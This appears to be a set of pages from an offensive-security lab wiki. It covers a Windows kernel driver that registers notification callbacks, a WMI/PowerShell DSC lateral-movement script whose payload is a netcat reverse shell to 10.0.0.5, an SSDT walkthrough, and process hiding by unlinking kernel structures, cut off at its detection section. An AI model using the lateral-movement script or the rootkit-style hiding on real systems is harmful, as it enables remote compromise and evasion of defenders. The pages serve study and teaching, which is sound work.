PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, FALSE); \`\`\` {% hint style="info" %} If \`PsSetCreateProcessNotifyRoutineEx\` is not working in your driver, you will need to add a \`/integritycheck\` switch in your linker configuration {% endhint %} !\[\](/files/-M1uMe4MGokmPiDrKHnp) Below shows how an attempt to spawn notepad.exe is blocked by our driver: !\[\](/files/-M1uS56qrYRL1GGz37W\_) ## Code Belos is the full working driver code that registers all the callback routines mentioned above: \`\`\`cpp #include #include #include DRIVER\_DISPATCH HandleCustomIOCTL; #define IOCTL\_SPOTLESS CTL\_CODE(FILE\_DEVICE\_UNKNOWN, 0x2049, METHOD\_BUFFERED, FILE\_ANY\_ACCESS) UNICODE\_STRING DEVICE\_NAME = RTL\_CONSTANT\_STRING(L"\\\\Device\\\\SpotlessDevice"); UNICODE\_STRING DEVICE\_SYMBOLIC\_NAME = RTL\_CONSTANT\_STRING(L"\\\\??\\\\SpotlessDeviceLink"); void sCreateProcessNotifyRoutine(HANDLE ppid, HANDLE pid, BOOLEAN create) { if (create) { PEPROCESS process = NULL; PUNICODE\_STRING parentProcessName = NULL, processName = NULL; PsLookupProcessByProcessId(ppid, &process); SeLocateProcessImageName(process, &parentProcessName); PsLookupProcessByProcessId(pid, &process); SeLocateProcessImageName(process, &processName); DbgPrint("%d %wZ\\n\\t\\t%d %wZ", ppid, parentProcessName, pid, processName); } else { DbgPrint("Process %d lost child %d", ppid, pid); } } void sCreateProcessNotifyRoutineEx(PEPROCESS process, HANDLE pid, PPS\_CREATE\_NOTIFY\_INFO createInfo) { UNREFERENCED\_PARAMETER(process); UNREFERENCED\_PARAMETER(pid); if (createInfo != NULL) { if (wcsstr(createInfo->CommandLine->Buffer, L"notepad") != NULL) { DbgPrint("\[!\] Access to launch notepad.exe was denied!"); createInfo->CreationStatus = STATUS\_ACCESS\_DENIED; } } } void sLoadImageNotifyRoutine(PUNICODE\_STRING imageName, HANDLE pid, PIMAGE\_INFO imageInfo) { UNREFERENCED\_PARAMETER(imageInfo); PEPROCESS process = NULL; PUNICODE\_STRING processName = NULL; PsLookupProcessByProcessId(pid, &process); SeLocateProcessImageName(process, &processName); DbgPrint("%wZ (%d) loaded %wZ", processName, pid, imageName); } void sCreateThreadNotifyRoutine(HANDLE pid, HANDLE tid, BOOLEAN create) { if (create) { DbgPrint("%d created thread %d", pid, tid); } else { DbgPrint("Thread %d of process %d exited", tid, pid); } } void DriverUnload(PDRIVER\_OBJECT dob) { DbgPrint("Driver unloaded, deleting symbolic links and devices"); IoDeleteDevice(dob->DeviceObject); IoDeleteSymbolicLink(&DEVICE\_SYMBOLIC\_NAME); PsSetCreateProcessNotifyRoutine(sCreateProcessNotifyRoutine, TRUE); PsRemoveLoadImageNotifyRoutine(sLoadImageNotifyRoutine); PsRemoveCreateThreadNotifyRoutine(sCreateThreadNotifyRoutine); PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, TRUE); } NTSTATUS HandleCustomIOCTL(PDEVICE\_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED\_PARAMETER(DeviceObject); PIO\_STACK\_LOCATION stackLocation = NULL; CHAR \*messageFromKernel = "ohai from them kernelz"; stackLocation = IoGetCurrentIrpStackLocation(Irp); if (stackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL\_SPOTLESS) { DbgPrint("IOCTL\_SPOTLESS (0x%x) issued", stackLocation->Parameters.DeviceIoControl.IoControlCode); DbgPrint("Input received from userland: %s", (char\*)Irp->AssociatedIrp.SystemBuffer); } Irp->IoStatus.Information = strlen(messageFromKernel); Irp->IoStatus.Status = STATUS\_SUCCESS; DbgPrint("Sending to userland: %s", messageFromKernel); RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, messageFromKernel, strlen(Irp->AssociatedIrp.SystemBuffer)); IoCompleteRequest(Irp, IO\_NO\_INCREMENT); return STATUS\_SUCCESS; } NTSTATUS MajorFunctions(PDEVICE\_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED\_PARAMETER(DeviceObject); PIO\_STACK\_LOCATION stackLocation = NULL; stackLocation = IoGetCurrentIrpStackLocation(Irp); switch (stackLocation->MajorFunction) { case IRP\_MJ\_CREATE: DbgPrint("Handle to symbolink link %wZ opened", DEVICE\_SYMBOLIC\_NAME); break; case IRP\_MJ\_CLOSE: DbgPrint("Handle to symbolink link %wZ closed", DEVICE\_SYMBOLIC\_NAME); break; default: break; } Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS\_SUCCESS; IoCompleteRequest(Irp, IO\_NO\_INCREMENT); return STATUS\_SUCCESS; } NTSTATUS DriverEntry(PDRIVER\_OBJECT DriverObject, PUNICODE\_STRING RegistryPath) { UNREFERENCED\_PARAMETER(DriverObject); UNREFERENCED\_PARAMETER(RegistryPath); NTSTATUS status = 0; // routine that will execute when our driver is unloaded/service is stopped DriverObject->DriverUnload = DriverUnload; // routine for handling IO requests from userland DriverObject->MajorFunction\[IRP\_MJ\_DEVICE\_CONTROL\] = HandleCustomIOCTL; // routines that will execute once a handle to our device's symbolik link is opened/closed DriverObject->MajorFunction\[IRP\_MJ\_CREATE\] = MajorFunctions; DriverObject->MajorFunction\[IRP\_MJ\_CLOSE\] = MajorFunctions; DbgPrint("Driver loaded"); // subscribe to notifications PsSetCreateProcessNotifyRoutine(sCreateProcessNotifyRoutine, FALSE); PsSetLoadImageNotifyRoutine(sLoadImageNotifyRoutine); PsSetCreateThreadNotifyRoutine(sCreateThreadNotifyRoutine); PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, FALSE); DbgPrint("Listeners isntalled.."); IoCreateDevice(DriverObject, 0, &DEVICE\_NAME, FILE\_DEVICE\_UNKNOWN, FILE\_DEVICE\_SECURE\_OPEN, FALSE, &DriverObject->DeviceObject); if (!NT\_SUCCESS(status)) { DbgPrint("Could not create device %wZ", DEVICE\_NAME); } else { DbgPrint("Device %wZ created", DEVICE\_NAME); } status = IoCreateSymbolicLink(&DEVICE\_SYMBOLIC\_NAME, &DEVICE\_NAME); if (NT\_SUCCESS(status)) { DbgPrint("Symbolic link %wZ created", DEVICE\_SYMBOLIC\_NAME); } else { DbgPrint("Error creating symbolic link %wZ", DEVICE\_SYMBOLIC\_NAME); } return STATUS\_SUCCESS; } \`\`\` ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/wmi-+-powershell-desired-state-configuration-lateral-movement.md). # WMI + PowerShell Desired State Configuration Lateral Movement This lab is simply a test of the lateral movement technique desrcibed by Matt Graeber \[here\](https://posts.specterops.io/abusing-powershell-desired-state-configuration-for-lateral-movement-ca42ddbe6f06). ## Execution Below is the powershell script that allows an attacker to execute code on a remote machine via WMI. Note that the payload is defined in the variable \`TestScript\` on line 7. In our case, the payload is a rudimentary nc reverse shell (luckily, we know the victim has nc on their machine :): {% code title="dsc.ps1" %} \`\`\`csharp # Credits to Matt Graeber. Code taken from https://posts.specterops.io/abusing-powershell-desired-state-configuration-for-lateral-movement-ca42ddbe6f06 $MOFContents = @' instance of MSFT\_ScriptResource as $MSFT\_ScriptResource1ref { ResourceID = "\[Script\]ScriptExample"; GetScript = "\\"$(Get-Date): I am being GET\\" | Out-File C:\\\\Windows\\\\Temp\\\\ScriptRun.txt -Append; return $True"; TestScript = "C:\\\\tools\\\\nc.exe 10.0.0.5 443 -e cmd.exe"; SetScript = "\\"$(Get-Date): I am being SET\\" | Out-File C:\\\\Windows\\\\Temp\\\\ScriptRun.txt -Append; return $True"; SourceInfo = "::3::5::Script"; ModuleName = "PsDesiredStateConfiguration"; ModuleVersion = "1.0"; ConfigurationName = "ScriptTest"; }; instance of OMI\_ConfigurationDocument { Version="2.0.0"; MinimumCompatibleVersion = "1.0.0"; CompatibleVersionAdditionalProperties= {"Omi\_BaseResource:ConfigurationName"}; Author="TestUser"; GenerationDate="02/26/2018 07:09:21"; GenerationHost="TestHost"; Name="ScriptTest"; }; '@ # Change this to false if you want to test the payload locally $ExecuteRemotely = $True $NormalizedMOFContents = \[Text.Encoding\]::UTF8.GetString(\[Text.Encoding\]::ASCII.GetBytes($MOFContents)) $NormalizedMOFBytes = \[Text.Encoding\]::UTF8.GetBytes($NormalizedMOFContents) $TotalSize = \[BitConverter\]::GetBytes($NormalizedMOFContents.Length + 4) if ($ExecuteRemotely) { # Prepend the length of the payload \[Byte\[\]\] $MOFBytes = $TotalSize + $NormalizedMOFBytes } else { # If executing locally, you do not prepend the payload length \[Byte\[\]\] $MOFBytes = $NormalizedMOFBytes } # Specify the credentials of your target $Credential = Get-Credential -Credential "offense\\administrator" $ComputerName = 'ws02' # Establish a remote WMI session with the target system $RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential $LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT\_DSCLocalConfigurationManager -CimSession $RemoteCIMSession if ($LCMClass -and $LCMClass.CimClassMethods\['ResourceTest'\]) { # You may now proceed with lateral movement $MethodArgs = @{ ModuleName = 'PSDesiredStateConfiguration' ResourceType = 'MSFT\_ScriptResource' resourceProperty = $MOFBytes } $Arguments = @{ Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration' ClassName = 'MSFT\_DSCLocalConfigurationManager' MethodName = 'ResourceTest' Arguments = $MethodArgs CimSession = $RemoteCIMSession } # Invoke the DSC script resource Test method # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0. Invoke-CimMethod @Arguments } else { Write-Warning 'The DSC lateral movement method is not available on the remote system.' } \`\`\` {% endcode %} The technique is captured in action in a gif below. On the left is the attacking system, on the right is the victim system and the window above the victim screen is another attacking system that is receiving the reverse shell: !\[\](/files/-LQGFlxEe-o3xIgGjdl0) ## Observations Note the process ancestry and that our code was run with privileges of\`NT AUTHORITY\\SYSTEM\`: !\[\](/files/-LQGHs-Mq8hbPr\_TzWrw) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/wmi-+-powershell-desired-state-configuration-lateral-movement.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/glimpse-into-ssdt-in-windows-x64-kernel.md). # System Service Descriptor Table - SSDT ## What is SSDT System Service Dispatch Table or SSDT, simply is an array of addresses to kernel routines for 32 bit operating systems or an array of relative offsets to the same routines for 64 bit operating systems. SSDT is the first member of the Service Descriptor Table kernel memory structure as shown below: \`\`\`cpp typedef struct tagSERVICE\_DESCRIPTOR\_TABLE { SYSTEM\_SERVICE\_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM\_SERVICE\_TABLE win32k; SYSTEM\_SERVICE\_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM\_SERVICE\_TABLE sst4; } SERVICE\_DESCRIPTOR\_TABLE; \`\`\` {% hint style="info" %} SSDTs used to be hooked by AVs as well as rootkits that wanted to hide files, registry keys, network connections, etc. Microsoft introduced PatchGuard for x64 systems to fight SSDT modifications by BSOD'ing the system. {% endhint %} ## In Human Terms When a program in user space calls a function, say \`CreateFile\`, eventually code execution is transfered to \`ntdll!NtCreateFile\` and via a \*\*syscall\*\* to the kernel routine \`nt!NtCreateFile\`. Syscall is merely an index in the System Service Dispatch Table (SSDT) which contains an array of pointers for 32 bit OS'es (or relative offsets to the Service Dispatch Table for 64 bit OSes) to all critical system APIs like \`ZwCreateFile\`, \`ZwOpenFile\` and so on.. Below is a simplified diagram that shows how offsets in SSDT \`KiServiceTable\` are converted to absolute addresses of corresponding kernel routines: !\[\](/files/-LuTX8CzBu3mFCerrbLB) Effectively, syscalls and SSDT (\`KiServiceTable\`) work togeher as a bridge between userland API calls and their corresponding kernel routines, allowing the kernel to know which routine should be executed for a given syscall that originated in the user space. ## Service Descriptor Table In WinDBG, we can check the Service Descriptor Table structure \`KeServiceDescriptorTable\` as shown below. Note that the first member is recognized as \`KiServiceTable\` - this is a pointer to the SSDT itself - the dispatch table (or simply an array) containing all those pointers/offsets: \`\`\`erlang 0: kd> dps nt!keservicedescriptortable L4 fffff801\`9210b880 fffff801\`9203b470 nt!KiServiceTable fffff801\`9210b888 00000000\`00000000 fffff801\`9210b890 00000000\`000001ce fffff801\`9210b898 fffff801\`9203bbac nt!KiArgumentTable \`\`\` Let's try and print out a couple of values from the SSDT: \`\`\`erlang 0: kd> dd /c1 KiServiceTable L2 fffff801\`9203b470 fd9007c4 fffff801\`9203b474 fcb485c0 \`\`\` As mentioned earlier, on x64 which is what I'm running in my lab, SSDT contains relative offsets to kernel routines. In order to get the absolute address for a given offset, the following formula needs to be applied: $$ RoutineAbsoluteAddress = KiServiceTableAddress + (routineOffset >>> 4) $$ Using the above formula and the first offset \`fd9007c4\` we got from the \`KiServiceTable\`, we can work out that this offset is pointing to \`nt!NtAccessCheck\`: \`\`\`erlang 0: kd> u KiServiceTable + (0xfd9007c4 >>> 4) nt!NtAccessCheck: fffff801\`91dcb4ec 4c8bdc mov r11,rsp fffff801\`91dcb4ef 4883ec68 sub rsp,68h fffff801\`91dcb4f3 488b8424a8000000 mov rax,qword ptr \[rsp+0A8h\] fffff801\`91dcb4fb 4533d2 xor r10d,r10d \`\`\` We can confirm it if we try to disassemble the \`nt!NtAccessCheck\` - routine addresses (fffff801\\\`91dcb4ec) and first instructions (mov r11, rsp) of the above and below commands match: \`\`\`erlang 0: kd> u nt!NtAccessCheck L1 nt!NtAccessCheck: fffff801\`91dcb4ec 4c8bdc mov r11,rsp \`\`\` !\[\](/files/-LuSTfpBMePjhkKu7fhu) If we refer back to the original drawing on how SSDT offsets are converted to absolute addresses, we can redraw it with specific values for syscall 0x1: !\[\](/files/-LuTVjxsRFMwEtOVZKqb) ## Finding a Dispatch Routine for a Given Userland Syscall As a simple exercise, given a known syscall number, we can try to work out what kernel routine will be called once that syscall is issued. Let's load the debugging symbols for \`ntdll\` module: \`\`\`erlang .reload /f ntdll.dll lm ntdll \`\`\` !\[\](/files/-LuSUbhA9Gpa0243E4FR) Let's now find the syscall for \`ntdll!NtCreateFile\`: \`\`\`erlang 0: kd> u ntdll!ntcreatefile L2 \`\`\` ...we can see the syscall is 0x55: !\[\](/files/-LuSUfbGZhoF6THZGh-k) Offsets in the \`KiServiceTable\` are 4 bytes in size, so we can work out the offset for syscall 0x55 by looking into the value the \`KiServiceTable\` holds at position 0x55: \`\`\`erlang 0: kd> dd /c1 kiservicetable+4\*0x55 L1 fffff801\`9203b5c4 01fa3007 \`\`\` We see from the above that the offset for \`NtCreateFile\` is \`01fa3007\`. Using the formula discussed previously for working out the absolute routine address, we confirm that we're looking at the \`nt!tCreateFile\` kernel routine that will be called once \`ntdll!NtCreateFile\` issues the 0x55 syscall: \`\`\`erlang 0: kd> u kiservicetable + (01fa3007>>>4) L1 nt!NtCreateFile: fffff801\`92235770 4881ec88000000 sub rsp,88h \`\`\` Let's redraw the earlier diagram once more for the syscall 0x55 for \`ntdll!NtCreateFile\`: !\[\](/files/-LuTYyaM-U3kFd9rWy6W) ## Finding Address of All SSDT Routines As another exercise, we could loop through all items in the service dispatch table and print absolute addresses for all routines defined in the dispatch table: \`\`\`erlang .foreach /ps 1 /pS 1 ( offset {dd /c 1 nt!KiServiceTable L poi(keservicedescriptortable+0x10) }){ dp kiservicetable + ( offset >>> 4 ) L1 } \`\`\` !\[\](/files/-LuSf9OtBFGGAL\_CSZtq) Nice, but not very human readable. We can update the loop a bit and print out the API names associated with those absolute addresses: \`\`\`erlang 0: kd> .foreach /ps 1 /pS 1 ( offset {dd /c 1 nt!KiServiceTable L poi(nt!KeServiceDescriptorTable+10)}){ r $t0 = ( offset >>> 4) + nt!KiServiceTable; .printf "%p - %y\\n", $t0, $t0 } fffff80191dcb4ec - nt!NtAccessCheck (fffff801\`91dcb4ec) fffff80191cefccc - nt!NtWorkerFactoryWorkerReady (fffff801\`91cefccc) fffff8019218df1c - nt!NtAcceptConnectPort (fffff801\`9218df1c) fffff801923f8848 - nt!NtMapUserPhysicalPagesScatter (fffff801\`923f8848) fffff801921afc10 - nt!NtWaitForSingleObject (fffff801\`921afc10) fffff80191e54010 - nt!NtCallbackReturn (fffff801\`91e54010) fffff8019213cf60 - nt!NtReadFile (fffff801\`9213cf60) fffff801921b2e80 - nt!NtDeviceIoControlFile (fffff801\`921b2e80) fffff80192212dc0 - nt!NtWriteFile (fffff801\`92212dc0) .....cut for brewity..... \`\`\` ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/glimpse-into-ssdt-in-windows-x64-kernel.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland.md). # Manipulating ActiveProcessLinks to Hide Processes in Userland The purpose of this lab is to look into how Windows kernel rootkits hide / unlink (or used to) processes in the userland for utilities trying to list all running processes on the system such as \`Windows Task Manager\`, \`tasklist\` or \`Get-Process\` cmdlet in Powershell. This is going to be a high level overview and no kernel code will be written, instead, kernel memory structures will be manipulated manually with WinDBG. {% hint style="info" %} Lab is performed on Windows 10 Professional x64, 1903. {% endhint %} \*\*Update 1\*\*\\ Some replies to my tweet to this post suggested that PatchGuard would normally kick-in and BSOD the OS, which I am sure is the case, although in my lab I experienced no BSODs even though the kernel stayed patched with an unlinked process for 12+ hours. \*\*Update 2\*\*\\ I realized that my Windows VM is running in test mode with no integrity checks, possibly explaining the lack os BSODs - unconfirmed.\\ \\ \*\*Update 3\*\*\\ Thanks \[\*\*@\*\*FuzzySec\](https://twitter.com/FuzzySec) for clarifying the BSOD/PatchGuard matter! !\[\](/files/-LxLwQVyIqNE1oJ1KBXo) ## Key Structures We need to be familiar with two kernel memory structures before we proceed. ### \\\_EPROCESS [](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland.md#eprocess) \`\_EPROCESS\` is a kernel memory structure that describes system processes (or in other words - each process running on a system has its corresponding \`\_EPROCESS\` object somewhere in the kernel) as we know them. It contains details such as process image name, which desktop session it is running in, how many open handles to other kernel objects it has, what access token it has and much more. Below shows a snippet of the structure and a highlighted a member that is \*\*key\*\* to this lab - \`ActiveProcessLinks\` . It is a pointer to a structure called \`LIST\_ENTRY\`: \`\`\` dt \_eprocess \`\`\` !\[\](/files/-LxCVobQFmOOFI5Dxnbl) ### \\\_LIST\\\_ENTRY In programming, there is a data structure known as \`doubly-linked list\` . It contains records (also called nodes) that are linked to each other, meaning each node in the list contains two fields (hence doubly), that reference previous and the next record of that linked list. Simplified (head and tail omitted) graphical representation of the doubly-linked list is shown below: !\[\](/files/-LxCcsaGt33RpEjHa-SG) \`LIST\_ENTRY\` is the doubly-linked list equivalent data structure in Windows kernel and is defined as: \`\`\`erlang kd> dt \_list\_entry ntdll!\_LIST\_ENTRY +0x000 Flink : Ptr64 \_LIST\_ENTRY +0x008 Blink : Ptr64 \_LIST\_ENTRY \`\`\` ...where \`FLINK\` (forward link) and \`BLINK\` (backward link) are the equivalents of \`Next\` and \`Previous\` references to the next and previous element in the list in our graphical representation of the doubly-linked list discussed above. ## LIST\\\_ENTRY Importance All Windows processes have their corresponding kernel objects in the form of an EPROCESS kernel structure. All those EPROCESS objects are stored in a doubly-linked list. Effectively, this means that when a \`cmd /c tasklist\` or \`get-process\` is invoked to get a list of all running processes on the system, Windows walks through the doubly-linked list of EPROCESS nodes, utilizing the \`LIST\_ENTRY\` structures and retrieves information about all currently active processes. Below is a simplified visualization of the above: !\[\](/files/-LxGuKkSnWm5KP6z03zL) ## Goal of the Lab With all of the above information, we can now define what we're trying to do in the lab - we want to hide a process of our choice from being shown in a process list when a \`get-process\` cmdlet or similar is issued in the userland. Below is a simplified diagram illustrating how this will be achieved by manually manipulating kernel structures in WinDBG in order to hide the EPROCESS 2 (white): !\[\](/files/-LxGvAb9dcRtmA6xy5sC) \* \`ActiveProcessLinks.Flink\` in EPROCESS 1 will be pointed to EPROCESS 3 \`ActiveProcessLinks.Flink\` \* \`ActiveProcessLinks.Blink\` in EPROCESS 3 will be pointed to EPROCESS 1 \`ActiveProcessLinks.Flink\` Kernel memory manipulations will unlink the EPROCESS 2 from the previous node (EPROCESS 1) and the next node (EPROCESS 3) in the doubly-linked list and, effectively, render it invisible to all userland APIs that retrieve running system processes - exactly like Windows kernel rootkits do it. ## Walkthrough ### Launching Target Process Let's launch a process that we will try to hide - a notepad.exe in my case: !\[\](/files/-LxC0-EYgb6JZ1lDXdV5) In kernel, we can get more information about our \`notepad\` process like so: \`\`\`erlang kd> !process e14 0 \`\`\` Below shows that our notepad's corresponding \`EPROCESS\` structure is located at \`ffffb208f8b304c0\`: !\[\](/files/-LxC10z1Wv7LuBYqvrpw) Checking the EPROCESS structure of our notepad: \`\`\`erlang kd> dt \_eprocess ffffb208f8b304c0 \`\`\` ...we can see the \`ActiveProcessLinks\`, the doubly-linked list, populated with two pointers (Flink and Blink): !\[\](/files/-LxC1aGEJOc8Q\_16ZXF5) We can also read those values with \`dt \_list\_entry ffffb208f8b304c0+2f0\` or by dumping two 64-bit long values from \`ffffb208f8b304c0+2f0\`: \`\`\`erlang kd> dq ffffb208f8b304c0+2f0 L2 ffffb208\`f8b307b0 ffffb208\`f8d1e7b0 ffffb208\`f8b89370 \`\`\` ### Notepad's Flink and Blink Let's now figure out the previous and next EPROCESS nodes our notepad.exe is pointing to. Below shows in two different ways (1. observing \`ActiveProcessLinks\` from the EPROCESS structure; 2. reading two 64-bit values from the \`EPROCESS+0x2f0\`) that our notepad's: \* FLINK (green) is pointing to \`\`ffffb208\`f8d1e7b0\`\` \* BLINK (blue) is pointing to \`\`ffffb208\`f8b89370\`\` !\[\](/files/-LxC2mPFwSQqquVuXBC0) For curiosity, we can check the process's image name referenced by the notepad's FLINK at \`\`ffffb208\`f8d1e7b0\`\` - the next EPROCESS node to our notepad's EPROCESS: We need to: \* find the EPROCESS location by subtracting 0x2f0 from the FLINK \`\`ffffb208\`f8d1e7b0\`\`. This is because FLINK points to \`EPROCESS.ActiveProcessLinks\` and \`ActiveProcessLinks\` is located at offset 0x2f0 from the beginning of the EPROCESS location \* add 0x450 since this is the offset of the \`ImageFileName\` in the EPROCESS structure \`\`\`erlang kd> da ffffb208\`f8d1e7b0-2f0+450 \`\`\` !\[\](/files/-LxC39DT-ChWbAls1OBR) Let's do the same for the process referenced by the notepad's BLINK to get the previous EPROCESS node to our notepad's EPROCESS: \`\`\`erlang kd> da ffffb208\`f8b89370-2f0+450 \`\`\` !\[\](/files/-LxC4OFrFJyHQ\_eyGI-p) Looks like our notepad EPROCESS is surrounded by two svchost EPROCESS nodes. Continuing, we can get PIDs of those two svchost.exe processes referenced by FLINK and BLINK and they are \`0x000009cc\` and \`0x00001464\` respectively as shown below: \`\`\`erlang kd> dd ffffb208\`f8d1e7b0-2f0+2e8 L1 ffffb208\`f8d1e7a8 000009cc kd> dd ffffb208\`f8b89370-2f0+2e8 L1 ffffb208\`f8b89368 00001464 kd> !process 000009cc 0 Searching for Process with Cid == 9cc PROCESS ffffb208f8d1e4c0 SessionId: 0 Cid: 09cc Peb: 44b2cd5000 ParentCid: 025c DirBase: 1e5730002 ObjectTable: 00000000 HandleCount: 0. Image: svchost.exe kd> !process 00001464 0 Searching for Process with Cid == 1464 PROCESS ffffb208f8b89080 SessionId: 0 Cid: 1464 Peb: a260bb6000 ParentCid: 025c DirBase: 19071002 ObjectTable: ffffc208ea7e4a80 HandleCount: 141. Image: svchost.exe \`\`\` Below shows essentially the same as the above output with some colour-coding: !\[\](/files/-LxC5cG-jDg7j1MY9XgM) ...where highlighted in green is the svchost (0x09cc) referenced by notepad's FLINK and in blue is the svchost (0x1464) referenced by notepad's BLINK. ### Svchost 9cc Flink and Blink Let's get the FLINK and BLINK for the svchost.exe (PID 0x9cc) and note that \`\`ffffb208\`f8d1e7b0\`\` is the location of \`EPROCESS.ActiveProcessLinks\` which will be important later: \`\`\`erlang kd> dq ffffb208f8d1e4c0+2f0 L2 ffffb208\`f8d1e7b0 ffffb208\`f94ee7b0 ffffb208\`f8b307b0 dt \_eprocess ffffb208f8d1e4c0 \`\`\` Green is FLINK and blue is BLINK: !\[\](/files/-LxC8owKS-2EvLygc\_7p) ### Svchost 1464 Flink and Blink Let's get FLINK and BLINK for the svchost.exe (PID 0x1464) and note that \`\`ffffb208\`f8b89370\`\` is the location of \`EPROCESS.ActiveProcessLinks\` which will be important later: \`\`\`erlang kd> dq ffffb208f8b89080+2f0 L2 ffffb208\`f8b89370 ffffb208\`f8b307b0 ffffb208\`f96c97b0 kd> dt \_eprocess ffffb208f8b89080 \`\`\` Green is FLINK and blue is BLINK: !\[\](/files/-LxC8RB9GIFcC9Gnltfs) ### Unlinking the Notepad We can now summarize the FLINK and BLINK pointers we have for all the processes we are interested in: | Image | PID | EPROCESS | ActiveProcessLinks | Flink | Blink | | ------- | ------ | ---------------- | ------------------ | ------------------ | ------------------ | | svchost | 0x1464 | ffffb208f8b89080 | ffffb208\\\`f8b89370 | ffffb208\\\`f8b307b0 | ffffb208\\\`f96c97b0 | | notepad | 0xe14 | ffffb208f8b304c0 | ffffb208\\\`f8b307b0 | ffffb208\\\`f8d1e7b0 | ffffb208\\\`f8b89370 | | svchost | 0x9cc | ffffb208f8d1e4c0 | ffffb208\\\`f8d1e7b0 | ffffb208\\\`f94ee7b0 | ffffb208\\\`f8b307b0 | Below are the two kernel modifications we need to perform in order to hide notepad.exe from process listing APIs in the userland: 1. Point svchost's (0x1464) FLINK at \`\`ffffb208\`f8b89370\`\` to svchost's (0x9cc) FLINK at \`\`ffffb208\`f8d1e7b0\`\` 2. Point svchost's (0x9cc) BLINK at \`\`ffffb208\`f8d1e7b0+8\`\` (+8 because LIST\\\_ENTRY is two fields FLINK/BLINK and are 8 bytes each on x64) to svchost's (0x1464) FLINK at \`\`ffffb208\`f8b89370\`\` Below visualizes the above outlined steps: !\[\](/files/-LxGvIFBbdVmQJ2h1cTT) Let's perform the above mentioned kernel modifications: \`\`\` kd> eq ffffb208\`f8b89370 ffffb208\`f8d1e7b0 kd> eq ffffb208\`f8d1e7b0+8 ffffb208\`f8b89370 \`\`\` ### Moment of Truth Once the kernel memory is modified, we can run a \`get-process\` or \`ps notepad\` in powershell and observe that notepad.exe has been successfully hidden: !\[notepad not seen when "ps notepad" is executed, although notepad is still running in the foreground\](/files/-LxCTfR9ESpVCysrNZae) ...although it can still be looked up by its PID in the kernel: \`\`\`erlang !process e14 0 \`\`\` !\[\](/files/-LxCTiANcqQPnfzSw\_R6) Below is another quick demo showing how notepad.exe disappears from the Windows Task Manager once the kernel memory is tampered and the debugger is resumed. Additionally, \`ps notepad\` returns nothing, although notepad is visible in the taskbar and underneath the Windows Task Manager: !\[\](/files/-LxGqjP0N6W-Anb7v1O2) {% hint style="info" %} In the above demo, memory offsets of structures are different due to a system reboot since the initial write up. {% endhint %} ## Detection In order to detect unlinked processes exhibited by malware on systems 